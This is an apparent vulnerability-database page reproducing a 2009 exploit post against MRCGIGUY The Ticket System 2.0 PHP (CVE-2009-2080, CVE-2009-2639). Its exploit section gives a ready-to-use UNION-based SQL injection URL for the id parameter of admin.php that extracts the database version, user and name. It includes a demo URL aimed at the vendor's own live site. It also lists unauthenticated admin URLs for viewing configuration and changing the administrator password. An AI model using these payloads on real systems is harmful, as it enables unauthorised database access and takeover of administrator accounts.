MRCGIGUY The Ticket System 2.0 PHP Multiple Remote Vulnerabilities

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1051863 漏洞类型
发布时间 2009-06-18 更新时间 2009-06-18
CVE编号 CVE-2009-2080
CVE-2009-2639
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2009060143
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
MRCGIGUY The Ticket System 2.0 PHP(id) Multiple Remote Vulnerabilities
Founder: ThE g0bL!N
------
Home: http:/www.4ckx.com/dz/
----
Vendor:http://www.mrcgiguy.com
Special Thx:  All Muslims All Members Of Team Algerien Of FootBall
Note: Algerie 3-1 Egypt
Exploit:
------
SQL INJECTION:
-------------
http://wwww.victim.com/admin.php?action=viewticket&id=[ SQL CODE]
[ SQL CODE]=498+union+select+1,version(),3,4,user(),6,database(),8,9,10,11,12--
Demo:
----
http://www.mrcgiguy.com/tts/admin.php?action=viewticket&id=498+union+select+1,version(),3,4,user(),6,database(),8,9,10,11,12--
Note : The exploit Worked out of enter The Right information of admin :)
2) Config Information Disclousr: (out of cookies)
--------------------------------------------------
go to url:
---------
http://victim/tts/admin.php?action=editconfig
Admin Change Password:
*--------------------
http://victim.com/path/admin.php?action=editop&id=1